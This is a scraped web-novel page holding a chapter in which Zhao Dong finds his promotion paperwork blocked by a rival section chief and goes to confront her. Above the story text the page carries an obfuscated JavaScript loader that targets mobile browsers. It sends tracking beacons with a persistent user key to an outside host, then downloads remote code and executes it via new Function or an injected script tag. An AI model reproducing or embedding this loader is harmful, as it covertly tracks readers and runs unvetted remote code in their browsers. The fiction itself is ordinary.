足迹
赵东苏菲
登录
关灯
护眼
字体:

第126章 职场规则(第2页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

“对了,你的转正手续和任命报告,我已经打过招呼了,一会让小月带你跑一趟,走一走流程就是了。”

赵东狐疑,一个小小的转正和任命手续而已,难道汪科长作为人事科的一把手,还搞不定?

他没有问出口。

孔月自告奋勇的说,“走吧,东哥,我带你过去。”

路上的时候,她又主动解释了一番。

赵东这才明白,原来华科内部实行的是举荐提拔制。

就比如他被提拔为副队长的这件事,哪怕四少再如何的关照,也不可能直接任命。

必须由下面的分管领导,一级一级上报,一级一级审批,最后在相关职能部门批准。

赵东的提拔手续是早就下来的,有汪部长发话,孙胖子肯定不敢拖延。

手续和报告早就打上去了,不过在人事科这里,却被姜科长卡住了。

等姜科长签字批准,汪科长再签字复合,这份手续才算正式生效。

所以汪科长就算想要帮赵东,也得姜科长把这份任命报告打上来,这就是其中的关节之处!

赵东思来想去,将他归结为体制内的弊端。

在这一点上就不如普通的民营企业,一旦高层领导看中某个人的能力,不光可以火箭提拔,而且还可以直接任命。

可是像华科这种大型集团,就必须按照规章制度,一步步操作。

往好处说,便是章节有度,制度规范,令行禁止,最大程度避免裙带关系和利益提拔。

往坏处说,便是机构臃肿,职能繁琐,效率低下,不利于新人冒头,也不流于企业造血和向上输送优秀人才。

这些事不好以偏概全。

赵东以前只是没在职场混过,所以不懂其中的弯弯绕,不过他也是聪明人,很快便想通了其中的关节。

关于他的这次提拔,肯定免不了人事科两位科长的一番博弈。

就是不知道,两人到底是如何周旋,又或者背地里达成了何种协议,才逼迫姜科长让步?

正在胡思乱想的功夫,两人已经来到了姜科长的办公室。

虽然是同一科室的正副职,不过办公室却相隔两端,看来两人不和的传闻也不是空穴来风。

孔月敲门之前还在叮嘱,“东哥,一会不管姜科长说什么,你只管应下就是了,汪科长已经跟她打过了招呼。”

赵东似懂非懂的点点头,强压心中火气,对于孙胖子的这位堂嫂,他早就想会会了。

要不是这个臭三八利用职权从中作梗,他的手续也不会拖了将近一周,没想到今天才终于见面。

孔月的手刚刚抬到一半,办公室被人从里面打开。

韩组长看见孔月,先是面色一喜,正想张嘴说点什么,随后就看见了跟在后面的赵东。

他脸色猛然一沉,不过很快便被遮掩了过去,说话也弯酸起来,“呦,这不是小赵嘛,有几天不见了吧?看你红光满面,是有喜事了?”

赵东见他一副小人得志的嘴脸,而且又是从姜科长的办公室出来,心里便有种不好的预感。